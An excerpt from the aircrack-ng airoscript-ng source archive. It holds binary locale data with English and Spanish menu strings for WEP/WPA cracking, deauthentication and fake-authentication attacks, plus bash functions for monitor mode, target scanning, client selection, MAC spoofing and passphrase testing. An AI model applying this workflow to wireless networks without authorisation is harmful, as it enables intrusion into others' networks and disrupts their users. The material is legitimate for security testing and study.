$resoAutopwn- Automatic crackingCafe Latte Attack on: $Host_SSID Capturing data on channel: $Host_CHANChange DUMP_PATHChange MAC of interfaceChanged fake_mac :ChannelChannel HopingChecks with airmon-ngChoose Wesside-ng OptionsChoose ap mac Choose router ipChoose source macChopchop attackChopchoping at $Host_SSIDChosse Source IPClient SelectionConservativeCopy data into new folder? (y/N): Crack - Get target keyCrack with manual dictionaryCracking WPACracking WPA with pmk databaseCracking wep, KorekCracking wep, default optionsCracking wep, manual optionsCracking with stdin entered data by $pipeCreate graphsCreate virtual interfaceCreate virtual interface with airtun-ngDeautenticatingDeautenticationDeauth AllDeauth clientDebug Mode enabled, you'll have to manually close windowsDecloack packagesDecrypt current packagesDiagnostics and reportsDirected ChopChoping to $Client_MAC at $Host_SSIDDo you want to launch a browser? [y|N] Do you want to use airserv-ng? [y/N] ERROR: Wrong number enteredEnable dynamic mode (ask for client in each attack)Enable monitor modeEncription isEnter Database location [$db_location]Enter airserv-ng address [127.0.0.1:666]Enter channel (single, range, or comma-separated): Enter destination mac: (FF:FF:FF:FF:FF:FF)Enter extra options to execute: Enter format (CPG|CAPR) (CAPR by default): Enter new path: Erase old folder? (y/N): Error: You have to scan for targets firstError: You must select a target firstEverybodyExecuteExecuting tkiptun-ng for ap $Host_MACExit - QuitsExternal pluginsExtra toolsFake Auth MethodFake autenticationFragmentation attackFragmentation w/o clientGenerate hccap file for oclhashcatGenerating graphicsI cant find any good terminal, please set one on your conffile Your TERMINAL var contains no valid temrinal Your alternative against x-terminal-emulator contains no terminal Xterm can\'t be found on your system, Maybe not in /usr/bin?InjectionInteractive Packet Sel on: $Host_SSIDInterface cleanupInterface type isInterface used isMain MenuManually enter client MACMerge all ivs from all sessionsMyself (fake mac)Network not encrypted or no network selected No argsNormal cleanupOther aircrack-ng toolsOthers - Various utilitiesPackage manipulationPackage manipulation toolsPlease enter Host SSIDProgressiveReset driverReset selected interfaceReturnReturn to main menuReturn to menuScanningScanning for targets on channel $channel_numberSelect - Reselect targetSelect WPA AttackSelect another interfaceSelect buddy IPSelect clientSelect encryptionSelect merged data as target? (y/N): Select option:Selected clientSelected targetSet resolutionShow kstats reportSorry, you cant crack wpa without a dictionary on $WORDLISTSpecific ChannelStandardStandard aircrack-ngStandard attackStandard attack with QoS (WMM)Start a local server? [y/N] Test injectionTry to configure networkType encryption size (64,128...): Type in client mac nowUnknown resolution, try againUnknown response. Try againUpdate airoscript reportUse precomputed pmk databaseVmware fix for bt4WEP Cracking OptionsWEP/WPA Cracking OptionsWPA Cracking OptionsWPA migration modeWho do you want to deauth?Xor InjectionYou have no IVS, please scan firstYour hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue[Error] Output folder does not exists or is a regular file.[INFO] Output folder isaircrack-ng Korekaircrack-ng defaultsaircrack-ng interactiveyAiroscript se provee bajo la GPL No soy responsable del uso que nadie pueda darle a airoscript Airoscript ha sido escrito con objetivo educativo ${mark}${red}Seleccione un cliente${end}\n${mark}${red}Attaques WPA${end}\n${mark}${red}Attaques WEP${end}\nEl control de acceso a las X esta desactivado para root. Por favor, ejecuta 'xhost +' como tu usuario normal y pulsa enterHerramientas avanzadasOpciones de airoscriptRespuesta: Atacar - Atacar objetivoUsando un clienteAutenticacionMenu de autenticacionAuto crackear wep con wesside-ngConfigurando mac falsa automaticamenteConfigurando resolucion automaticamente a $resoAutopwn - Crackeo automaticoAtaque caffe latte en $Host_SSIDCapturando datos en el canal: $Host_CHANCambiar DUMP_PATHCambiar MACCambiada mac falsaCanalSalto de canalesPruebas con airmonElije las opciones de wesside-ngElegir mac del punto de acceso Elegir ip de routerElegir mac de origen Ataque chopchopChopchopeando $Host_SSIDElegir ip de origenSeleccion de clientesConservadorCopiar datos en el directorio nuevo? (y|N)Crackear - Crackear la clave del objetivoCrackear con diccionario manualCrackeando WPACrackeando WPA con base de datos pmkCrackeando wep, KorekCrackeando wep, opciones por defectoCrackeando wep, opciones manualesCrackeando con datos de stdin por $pipeGenerar graficosCrear interfaz virtualCrear interfaz virtual con airtun-ngDesautenticandoDesautenticacionDesautenticando a todosDesautenticando al clienteModo debug activadoDecloack packagesDesencriptar paquetes actualesDiagnosticos e informesChopchop dirigido a $Client_MAC en $Host_SSID¿Quieres lanzar un navegador? [y|N]¿Quieres usar airserv-ng?Error: Numero incorrectoActivar modo dinamico (preguntar por el cliente en cada ataque)Activar modo monitorLa encriptacion esIntroduzca la localizacion de la base de datos [$db_location]Introduzca ip de airserv-ng [127.0.0.1:666]Introduzca el canal (un solo canal, un rango, o separados por comas)Introduzca mac de destino (FF:FF:FF:FF:FF:FF)Introduzca opciones extraIntroduzca formato (CPG|CAPR) (por defecto es CAPR)Introduzca path nuevo: Borrar antiguo directorio? (y|N)Error: Tienes que escanear objetivos antesError: debe seleccionar un objetivoA todosEjecutarEjecutando tkiptun-ng para el punto de acceso $Host_MACExit - SalePlugins externosHerramientas extraMetodo de autenticacion falsaAutenticacion falsaAtaque de fragmentacionFragmentacion sin clienteGenerar archivo hccap para oclhashcatGenerando graficosNo puedo encontrar ningun terminal correcto, por favor, configure uno en airoscript-ng.confInyeccionSeleccion interactiva de paquetes en $Host_SSIDLimpieza de interfazEl tipo de la interfaz es La interfaz esMenu principalIntroducir mac de cliente a manoUnir todos los ivs de todas las sesionesA mi mismo (mac falsa)La red no esta encriptada o no ha seleccionado ningunaSin argumentosLimpieza normalOtras herramientas de aircrack-ngOtros - Utilidades variasManipulacion de paquetesManipulacion de paquetesPor favor, introduzca la SSIDProgresivoResetear driverResetear interfazVolverVolver al menu principalVolverEscaneandoEscanando objetivos en el canal $channel_numberSeleccionar - Seleccionar otro objetivoSelecciona ataque wpaCambiar interfazSeleccionar buddy IPSelecciona un clienteSeleccionar encriptacionSeleccionar datos unidos como objetivo? (y|N)Seleccionar: Cliente seleccionadoObjetivo seleccionadoConfigurar resolucionInforme de kstatsLo siento, no puedes crackear wpa sin un diccionario en $WORDLISTCanal especificoStandardAircrack-ng standardAtaque standardAtaque con QoSUsar un servidor local? [y|N]Probar inyeccionIntentar autoconfiguracion de redTamaño de la encriptacion (64,128...)Introduzca la mac del clienteResolucion desconocida, por favor, intentelo de nuevoRespuesta incorrecta, pruebe de nuevoActualizar informe de airoscript-ngBase de datos precomputada pmkFix de vmware para bt4Opciones de crackeo WEPCrackeo WEP/WPAOpciones de crackeo wpaAtaque de modo de migracion WPA¿A quien quieres deautenticar?Inyeccion XORNo tienes ivs, por favor escanea primeroTu fichero hccap esta en $DUMP_PATH/$Host_MAC-01.hccap. Pulsa enter para continuar[Error] El directorio de salida no existe o no es un directorio[INFO] El directorio de salida es KorekPor defectoInteractivasyaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/locale/airoscript-ng.mo0000644000000000000000000002705012104214160024636 0ustar rootrootÞ•–ÌÓ| È $X } ž |¿ <K^f} ”¢µÔ)ó!9%[’ª½ÅÔê$6F`q ‚"²Ê çô'E)b Œš'³Ûë û 9N`y1‘'Ã%ë3-a u&ƒ(ª3Ó* 2+S)ª%Ô ú%  2@ Q]n–"¯Òöæ Ý%ç 1 CMg‡-™ÇÏÞö&A X dqŠ‘¥´/½í1 AO%a‡–¦¶Å;Ø%.CSrž"·Úñ+Dat‰¢·Ê å"óM;d ¸Êß÷‘ù*‹!¶!ØzúuŒ £¯È Úè þ&/Fv “(´Ý ïû  % 8 Y y  £ ³ Ì à ö *!)-!W!w!$†!«!$Á!!æ!'"0"A"$X"}""ž"¶"Ñ"å"÷"#-.#$\##œ#?µ#õ# $=$+[$D‡$-Ì$ú$3%H% `%*%#¬%Ð%Ø%7á% &%&6&I&g&{&“&%­&Ó&[æ& B'/L'|'‘'¬'»' Ê'(ë'(6+(b(q(!(£(½(Ö(ï( ))():)A)Z) a)/l)'œ)Ä)Ú)ë)**-/* ]*k*€*–*¬*A¾*+++/+?+N+l+!}+&Ÿ+Æ+5ä+%,#@,d,ƒ,š,²,Â,Ú,ú, -((-RQ-?¤-"ä-. . .&.K‡Ab•&F+g<$=[*V8 IO3–46-)z’ 9P D€mlEHk>„ŠG%jSsM^f5/“'(Œ@ZcwLpr]‚!`2Xd#.‹ˆ~Cvh?"}a‰N0TBW†e”tƒŽ i{y…7\ R;Y1_:xUJuQo nq|‘, Airoscript is provided under the gpl. I'm not responsible of the use anyone can give to airoscript. Written for educational purpose in mind. ${mark}${red}Select a client${end}\n${mark}${red}WPA attacks${end}\n${mark}${red}Wep attacks${end}\nAccess control for X is disabled for root. Please, as your normal user execute 'xhost +`whoami`' and press enter to continueAdvanced toolsAiroscript OptionsAnser: Attack - Attack targetAttacks using a clientAutenticationAutentication menuAuto crack wep with wesside-ngAutomatically setting fake macAutomatically setting resolution to $resoAutopwn- Automatic crackingCafe Latte Attack on: $Host_SSID Capturing data on channel: $Host_CHANChange DUMP_PATHChange MAC of interfaceChanged fake_mac :ChannelChannel HopingChecks with airmon-ngChoose Wesside-ng OptionsChoose ap mac Choose router ipChoose source macChopchop attackChopchoping at $Host_SSIDChosse Source IPClient SelectionConservativeCopy data into new folder? (y/N): Crack - Get target keyCrack with manual dictionaryCracking WPACracking WPA with pmk databaseCracking wep, KorekCracking wep, default optionsCracking wep, manual optionsCracking with stdin entered data by $pipeCreate graphsCreate virtual interfaceCreate virtual interface with airtun-ngDeautenticatingDeautenticationDeauth AllDeauth clientDebug Mode enabled, you'll have to manually close windowsDecloack packagesDecrypt current packagesDiagnostics and reportsDirected ChopChoping to $Client_MAC at $Host_SSIDDo you want to launch a browser? [y|N] Do you want to use airserv-ng? [y/N] ERROR: Wrong number enteredEnable dynamic mode (ask for client in each attack)Enable monitor modeEncription isEnter Database location [$db_location]Enter airserv-ng address [127.0.0.1:666]Enter channel (single, range, or comma-separated): Enter destination mac: (FF:FF:FF:FF:FF:FF)Enter extra options to execute: Enter format (CPG|CAPR) (CAPR by default): Enter new path: Erase old folder? (y/N): Error: You have to scan for targets firstError: You must select a target firstEverybodyExecuteExecuting tkiptun-ng for ap $Host_MACExit - QuitsExternal pluginsExtra toolsFake Auth MethodFake autenticationFragmentation attackFragmentation w/o clientGenerate hccap file for oclhashcatGenerating graphicsI cant find any good terminal, please set one on your conffile Your TERMINAL var contains no valid temrinal Your alternative against x-terminal-emulator contains no terminal Xterm can\'t be found on your system, Maybe not in /usr/bin?InjectionInteractive Packet Sel on: $Host_SSIDInterface cleanupInterface type isInterface used isMain MenuManually enter client MACMerge all ivs from all sessionsMyself (fake mac)Network not encrypted or no network selected No argsNormal cleanupOther aircrack-ng toolsOthers - Various utilitiesPackage manipulationPackage manipulation toolsPlease enter Host SSIDProgressiveReset driverReset selected interfaceReturnReturn to main menuReturn to menuScanningScanning for targets on channel $channel_numberSelect - Reselect targetSelect WPA AttackSelect another interfaceSelect buddy IPSelect clientSelect encryptionSelect merged data as target? (y/N): Select option:Selected clientSelected targetSet resolutionShow kstats reportSorry, you cant crack wpa without a dictionary on $WORDLISTSpecific ChannelStandardStandard aircrack-ngStandard attackStandard attack with QoS (WMM)Start a local server? [y/N] Test injectionTry to configure networkType encryption size (64,128...): Type in client mac nowUnknown resolution, try againUnknown response. Try againUpdate airoscript reportUse precomputed pmk databaseVmware fix for bt4WEP Cracking OptionsWEP/WPA Cracking OptionsWPA Cracking OptionsWPA migration modeWho do you want to deauth?Xor InjectionYou have no IVS, please scan firstYour hccap file is in $DUMP_PATH/$Host_MAC-01.hccap . Press enter to continue[Error] Output folder does not exists or is a regular file.[INFO] Output folder isaircrack-ng Korekaircrack-ng defaultsaircrack-ng interactiveyAiroscript se provee bajo la GPL No soy responsable del uso que nadie pueda darle a airoscript Airoscript ha sido escrito con objetivo educativo ${mark}${red}Seleccione un cliente${end}\n${mark}${red}Attaques WPA${end}\n${mark}${red}Attaques WEP${end}\nEl control de acceso a las X esta desactivado para root. Por favor, ejecuta 'xhost +' como tu usuario normal y pulsa enterHerramientas avanzadasOpciones de airoscriptRespuesta: Atacar - Atacar objetivoUsando un clienteAutenticacionMenu de autenticacionAuto crackear wep con wesside-ngConfigurando mac falsa automaticamenteConfigurando resolucion automaticamente a $resoAutopwn - Crackeo automaticoAtaque caffe latte en $Host_SSIDCapturando datos en el canal: $Host_CHANCambiar DUMP_PATHCambiar MACCambiada mac falsaCanalSalto de canalesPruebas con airmonElije las opciones de wesside-ngElegir mac del punto de acceso Elegir ip de routerElegir mac de origen Ataque chopchopChopchopeando $Host_SSIDElegir ip de origenSeleccion de clientesConservadorCopiar datos en el directorio nuevo? (y|N)Crackear - Crackear la clave del objetivoCrackear con diccionario manualCrackeando WPACrackeando WPA con base de datos pmkCrackeando wep, KorekCrackeando wep, opciones por defectoCrackeando wep, opciones manualesCrackeando con datos de stdin por $pipeGenerar graficosCrear interfaz virtualCrear interfaz virtual con airtun-ngDesautenticandoDesautenticacionDesautenticando a todosDesautenticando al clienteModo debug activadoDecloack packagesDesencriptar paquetes actualesDiagnosticos e informesChopchop dirigido a $Client_MAC en $Host_SSID¿Quieres lanzar un navegador? [y|N]¿Quieres usar airserv-ng?Error: Numero incorrectoActivar modo dinamico (preguntar por el cliente en cada ataque)Activar modo monitorLa encriptacion esIntroduzca la localizacion de la base de datos [$db_location]Introduzca ip de airserv-ng [127.0.0.1:666]Introduzca el canal (un solo canal, un rango, o separados por comas)Introduzca mac de destino (FF:FF:FF:FF:FF:FF)Introduzca opciones extraIntroduzca formato (CPG|CAPR) (por defecto es CAPR)Introduzca path nuevo: Borrar antiguo directorio? (y|N)Error: Tienes que escanear objetivos antesError: debe seleccionar un objetivoA todosEjecutarEjecutando tkiptun-ng para el punto de acceso $Host_MACExit - SalePlugins externosHerramientas extraMetodo de autenticacion falsaAutenticacion falsaAtaque de fragmentacionFragmentacion sin clienteGenerar archivo hccap para oclhashcatGenerando graficosNo puedo encontrar ningun terminal correcto, por favor, configure uno en airoscript-ng.confInyeccionSeleccion interactiva de paquetes en $Host_SSIDLimpieza de interfazEl tipo de la interfaz es La interfaz esMenu principalIntroducir mac de cliente a manoUnir todos los ivs de todas las sesionesA mi mismo (mac falsa)La red no esta encriptada o no ha seleccionado ningunaSin argumentosLimpieza normalOtras herramientas de aircrack-ngOtros - Utilidades variasManipulacion de paquetesManipulacion de paquetesPor favor, introduzca la SSIDProgresivoResetear driverResetear interfazVolverVolver al menu principalVolverEscaneandoEscanando objetivos en el canal $channel_numberSeleccionar - Seleccionar otro objetivoSelecciona ataque wpaCambiar interfazSeleccionar buddy IPSelecciona un clienteSeleccionar encriptacionSeleccionar datos unidos como objetivo? (y|N)Seleccionar: Cliente seleccionadoObjetivo seleccionadoConfigurar resolucionInforme de kstatsLo siento, no puedes crackear wpa sin un diccionario en $WORDLISTCanal especificoStandardAircrack-ng standardAtaque standardAtaque con QoSUsar un servidor local? [y|N]Probar inyeccionIntentar autoconfiguracion de redTamaño de la encriptacion (64,128...)Introduzca la mac del clienteResolucion desconocida, por favor, intentelo de nuevoRespuesta incorrecta, pruebe de nuevoActualizar informe de airoscript-ngBase de datos precomputada pmkFix de vmware para bt4Opciones de crackeo WEPCrackeo WEP/WPAOpciones de crackeo wpaAtaque de modo de migracion WPA¿A quien quieres deautenticar?Inyeccion XORNo tienes ivs, por favor escanea primeroTu fichero hccap esta en $DUMP_PATH/$Host_MAC-01.hccap. Pulsa enter para continuar[Error] El directorio de salida no existe o no es un directorio[INFO] El directorio de salida es KorekPor defectoInteractivasyaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/0000755000000000000000000000000012316431270022275 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/internal/0000755000000000000000000000000012316431270024111 5ustar rootrootaircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/internal/exit0000644000000000000000000000377612200126436025017 0ustar rootroot# Exit and cleanup file used by airoscript # Copyright (C) 2010-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software delete_vinterfaces(){ while read interface; do [[ $interface =~ ^$MON_PREFIX(.*)\S*(.*) ]] && { iw dev ${MON_PREFIX}${BASH_REMATCH[1]} del } done < <($AIRMON) } deconfigure(){ airmon-ng stop $wifi &> /dev/null ; delete_vinterfaces &>/dev/null; } delete_dpath(){ [[ $DUMP_PATH =~ /tmp/(.*) ]] && rm -r $DUMP_PATH &>/dev/null; } doexit(){ check_function make_report || source $path/reporting [[ -e $DUMP_PATH/$Host_MAC.key ]] && { yesno "Create a full report?" && { warn "${mark}Creating report"; make_report; yesno "Copy report to ~?" && { cp -f $DUMP_PATH/$Host_MAC.png $DUMP_PATH/$Host_MAC.report.html $DUMP_PATH/$Host_MAC.report.pdf $HOME/ &>/dev/null; } } } [[ $keep_exit_quiet == 0 ]] && { yesno "Stop monitor mode on $wifi and delete virtual interfaces? (Y/n) " && { warn "${mark}Cleaning interface"; deconfigure; } yesno 'Delete temporary data dir? (y/N) ' && { warn "${mark}Deleting $DUMP_PATH"; delete_dpath &>/dev/null; } } || { deconfigure; [[ $delete_files_on_exit == 1 ]] && delete_dpath &>/dev/null; } [[ "$1" == "killme" ]] && pkill air $$ || exit # Needed because of autopwn } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/internal/scansel0000644000000000000000000000773112200126436025471 0ustar rootroot# Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. check_function auth_attacks_deauth || source $path/attacks/auth Scanchan(){ export SCAN=1; # TODO Create a mkinfobox function. single_question ${mark}$"Enter channel (single, range, or comma-separated): " channel_number="$ans"; set -- ${channel_number} rm -rf $DUMP_PATH/dump* &>/dev/null; monmode $wifi $channel_number execute $"Scanning for targets on channel $channel_number" $AIRODUMP --ignore-negative-one -w $DUMP_PATH/dump --channel $channel_number --encrypt $ENCRYPT -a $wifi export SCAN=0 } select_target(){ if [ "$AUTO" == 2 ]; then return; fi help_fifo $"${mark}${red}Select a client${end}\n"\ "At this step, you have to choose how to look for target clients\n"\ "Target clients will be used later, to make attacks directed at them\n"\ "This step is not obligatory, but might come handy if the network has some clients on it"\ "${red} If you're about to attack, attacks will be performed differently if you choose not to select a client (most of the times with a fake auth), so, don't worry if there are none ${end}" while true; do echo "Selecting client" mkmenu $"Client Selection"\ $"Select client"\ $"Enable dynamic mode (ask for client in each attack)"\ $"Manually enter client MAC" "No select client" case $choice in 1 ) auto_scan_clients; select_client; break;; 2 ) dynamic_client_selection=1; break;; 3 ) single_question $"Type in client mac now"; Client_MAC="$ans"; set -- ${Client_MAC} ; break ;; 4 ) Client_MAC=""; break ;; * ) echo -e $"Unknown response. Try again";; esac done } auto_scan_clients(){ rm $DUMP_PATH/Client_$Host_MAC* &>/dev/null launch_counter $time_to_scan "clients" & INTERACTIVE=0; AUTO=2; QUIET=1; NOTITLE=1; wait_for_execute=0 execute "" $AIRODUMP --ignore-negative-one --bssid $Host_MAC -w $DUMP_PATH/Client_$Host_MAC -c $Host_CHAN -a $wifi sleep $time_to_scan && killall -2 "airodump-ng"; export SCAN=0; AUTO=0; QUIET=""; NOTITLE=0 } get_clients(){ rm $DUMP_PATH/Client_${Host_MAC}_all.csv cat $DUMP_PATH/Client_${Host_MAC}*.csv > $DUMP_PATH/Client_${Host_MAC}_all.csv while read line; do IFS=',' read -a line_ <<< "$line" [[ ${line[2]} =~ ${Host_MAC} ]] && [[ ${line[1]} != "00:00:00:00" ]] && echo ${line[1]} done < $DUMP_PATH/Client_${Host_MAC}_all.csv echo "None" "Rescan" } i_have_to_return() { # TODO: Move this to internal if [ "$AUTO" == "1" ]; then return 0; fi; return 1; } select_client(){ i_have_to_return && return while [ "1" ]; do mkmenu $"Select client" $(get_clients) (( $choice < $(( ${#HOST[@]} + 3 )) )) && break done IFS=, read -a elem <<< ${HOST[$choice-1]}; Client_MAC=${elem[1]}; (( $choice == $(( ${#HOST[@]} + 1 )) )) && { change_mac $wificard $FAKE_MAC; Client_MAC=""; directed=0; return; } (( $choice == $(( ${#HOST[@]} + 2 )) )) && { auto_scan_clients; select_client; return; } { change_mac $wifi $Client_MAC change_mac $iwifi $Client_MAC change_mac $wificard $Client_MAC } &>/dev/null } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/internal/childs0000644000000000000000000000243212216362125025304 0ustar rootroot# Child management file used by airoscript # Copyright (C) 2010-2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software get_childs(){ while read r; do [[ $r =~ (.*)$1(.*) ]] && { [[ $BASH_REMATCH[1] != $2 ]] && echo $BASH_REMATCH[1]; } done < <(ps -eo ppid,pid) } clean_processes(){ for i in /var/run/airoscript/*; do i=$(basename $i); kill -2 $i; rm /var/run/airoscript/$i; done; } save_pids(){ mkdir /var/run/airoscript 2>/dev/null for i in `get_childs $1`; do touch "/var/run/airoscript/$i"; done } cleanp(){ sleep $autopwn_sleep && clean_processes } aircrack-ng-1.2-beta3/scripts/airoscript-ng/src/functions/internal/startup0000644000000000000000000002535012271675067025561 0ustar rootroot# Copyright (C) 2011 David Francos Cuartero # This program is free software; you can redistribute it and/or # modify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # You should have received a copy of the GNU General Public License # Along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. check_cardctl(){ if [ `uname -r|cut -d . -f 2` == "6" ]; then CARDCTL="pccardctl" else CARDCTL="cardctl"; fi } _askinterface(){ askinterface && checkforcemac $startup_mac_set } bsd_interfaces(){ for i in $( ifconfig | awk '/flags/ { print $1}'|cut -d: -f1 ); do { ifconfig $i | grep "wlan" &>/dev/null && echo $i ; } ; done } linux_interfaces() { while read r; do [[ $r =~ (.*)IEEE\ 802.11(.*) ]] && { iw=${BASH_REMATCH[1]}; [[ $r =~ (.*)Mode:Monitor(.*) ]] || echo $iw; }; done < <(iwconfig 2>/dev/null) } all_interfaces() { while read r; do [[ $r =~ (^[0-9]+)(.*):(.*):(.*) ]] && echo ${BASH_REMATCH[3]}; done < <(ip link 2>/dev/null) } setinterface(){ help_fifo "${mark} ${red}Welcome to airoscript-ng${end}, I'll be your guide from now on\n"\ "First, we have to setup a wireless interface to work with.\n" \ "Be careful, using this interface with airoscript-ng will disrupt any traffic going trough it." \ "If you're using it to connect to the internet, you'll be most likely disconnected " declare -a INTERFACES [[ "$wifi" != "" ]] && [[ "$1" == "start" ]] && [[ "$set_wifi_by_args" == 1 ]] || { if [ "$1" == "" ] || [[ "$1" == 1 ]] || [ "$1" == "start" ] ; then if [ "$show_only_wireless_extensions" == 1 ]; then [[ -e /bsd ]] && { INTERFACES=( $(bsd_interfaces) ) } || { INTERFACES=( $(linux_interfaces) ) } else INTERFACES=( $(all_interfaces) ) fi fi _askinterface [[ "$DEFAULT_MONITOR_MODE" == 1 ]] &&{ ac="start"; } || { single_question 'Should I put it in monitor mode? (Y/n) '; [[ "$ans" != n ]] && ac="start" || ac="stop" } { guess_idata $ac; testmac; } &>/dev/null } export iwifi=$wifi } askinterface(){ [[ ${#INTERFACES[@]} == 1 ]] && { warn "${mark}Only one capable wireless interface found. Selecting" ${INTERFACES[0]}; wificard=${INTERFACES[0]}; auto_fake_mac=1 return; } mkmenu "Interface" ${INTERFACES[@]} export wificard="${INTERFACES[$choice - 1]}" [[ $wificard == "" ]] && { $clear warn "${mark}Error: That interface does not exists" askinterface } } checkforcemac() { if [ "$force_mac_address" == "1" ]; then $clear && warn "${mark}Warn: Not checking mac" else export mac=$(get_current_mac); if [ "$FAKE_MAC" != "$mac" ]; then wichchangemac_startup &>/dev/null; fi fi } guess_idata(){ declare -a monitorlines line while read -a line; do [[ ${line[@]} =~ ^$wificard ]] && { phy=${line[-1]}; [[ ${line[@]} =~ "- ${phy}" ]] && { monitorlines=("${line[@]}") getNextLine=1 } } || { [[ $getNextLine == 1 ]] && { export wifi=${line[-1]/)/} getNextLine=0 } } done < <(airmon-ng start $wificard) export iwifi=${wifi} export fisical=${monitorlines[-1]} export DRIVER=${monitorlines[-3]} export TYPE=${monitorlines[1]} } wichchangemac_startup(){ change_mac $wificard $FAKE_MAC change_mac $wifi $FAKE_MAC change_mac $iwifi $FAKE_MAC } wichchangemac(){ while true; do [[ "$1" != "" ]] && { startup_mac_set=$1; choice=$1; } || { mkmenu "Select MAC options" "Change MAC to FAKEMAC" "Change MAC to CLIENTMAC" "Use real MAC" "Manual Mac Input" } case $choice in 1) change_mac $wifi $FAKE_MAC; break ;; 2) change_mac $wifi $Client_MAC; break ;; 3) export FAKE_MAC=$(get_current_mac); change_mac $wifi $FAKE_MAC; break ;; 4) single_question "MAC: "; Manual_MAC="$ans"; change_mac $wifi $Manual_MAC; break ;; *) echo $"Unknown response. Try again" ;; esac done } is_number(){ return $(expr "$1 + 1" &> /dev/null); } # Wrapper to make interface creation easier. selectap_wrapper(){ while [ "1" ]; do mkmenueline $max r; echo " Rescan targets"; echo -en "$separator_bl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_br"; special_single_question "Select Target: "; choice=$ans; is_number $choice && break done } valid_mac(){ (( ${#1} >= 17 )) && return 0 || return 1; } conn_crack(){ wpa_passphrase $Host_SSID $(cat $DUMP_PATH/digenpy__dic) | wpa_supplicant -i$wificard -c/dev/stdin -f $DUMP_PATH/wpa_sup.log count=0; while [ 1 ]; do grep "completed" $DUMP_PATH/wpa_sup.log && break sleep 1 count=$(( count + 1 )) (( $count > 15 )) && break; done pkill -9 -f wpa grep "completed" $DUMP_PATH/wpa_sup.log && return 0 return 1 } # Some various functions that didn't know where to put them sort_aircrack_csv() { sort -t, -k+9 -n <(sed -n "/Key/,/Station/p" $FILE|head -n-2|tail -n+2)|tac } get_aps_in_file(){ sort -t, -k+9 -n <(sed -n "/Key/,/Station/p" $1|head -n-2|tail -n+2)| wc -l } selectAp(){ k=0; i=0; DUMP_FILE=$DUMP_PATH/dump-02.csv [[ $2 ]] && DUMP_FILE=${2} if [ "$AUTO" == 2 ]; then choice=$CURRENT CURRENT=$(( $CURRENT + 1 )) else res=(); title=$1; shift; line=0; max=$((`tput cols` - 10)); echo mkmenuheader "Detected access points" $max echo -en "$separator_tl"; for i in $(seq 1 $max); do echo -en "$separator_h"; done; echo "$separator_tr"; fi while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do $(valid_mac "$MAC") && { k=$(($k+1)) if [ "$AUTO" != 2 ]; then res+=( "$k" " $MAC " "$CHANNEL" "$PRIVACY" "$POWER" "$IDLENGTH" "$ESSID"); mkmenueline $max $k echo -e " $MAC | $CHANNEL | $PRIVACY | $POWER | $IDLENGTH | $ESSID" fi aidlenght=$IDLENGTH assid[$k]=$ESSID; achannel[$k]=$CHANNEL; amac[$k]=$MAC; aprivacy[$k]=$PRIVACY; aspeed[$k]=$SPEED; apower[$k]=$POWER } done < $DUMP_FILE if [ "$AUTO" != 2 ]; then selectap_wrapper; fi if [ "$choice" != "r" ] ; then [[ ${amac[$choice]} ]] || { echo "Wrong option, scanning for targets again"; autoscan; } idlenght=${aidlenght[$choice]} ssid=${assid[$choice]} channel=${achannel[$choice]} mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} tag; echo "${mark}Target network is $Host_SSID $Host_MAC" else autoscan; fi [[ $report_mode_enabled == 1 ]] && report_mode } launch_counter(){ o=$2; [[ $o == "" ]] && o="targets" for i in $( seq 1 $1 ); do a=$(( ($i * 100) / $1 )) sleep 1; echo -ne "\r${mark}Scanning for $o: [$a/100 completed]"; done echo } autoscan(){ launch_counter $time_to_scan & export OLDAUTO=$AUTO OLDINTERACTIVE=$INTERACTIVE; F=0; export AUTO=1; export QUIET=1; export INTERACTIVE=0 menu_type "${1}" && sleep $time_to_scan && killall -2 "airodump-ng"; AUTO=$OLDAUTO [[ $AUTO != 2 ]] && select_ap cleanautovars } Scan(){ help_fifo "${mark}${red}Scanning${end}\nWe're scanning for near networks \n"\ "You'll be asked to select one of them, ${red}they're ordered according to their signal strenght${end}"\ "The strongest is the lastest, your network should be near the end" export SCAN=1 rm -rf $DUMP_PATH/dump* &>/dev/null [[ $SILENT_SCAN != 1 ]] && { markwarn $"Interface used is" ": $wifi ($iwifi) for $wificard " markwarn 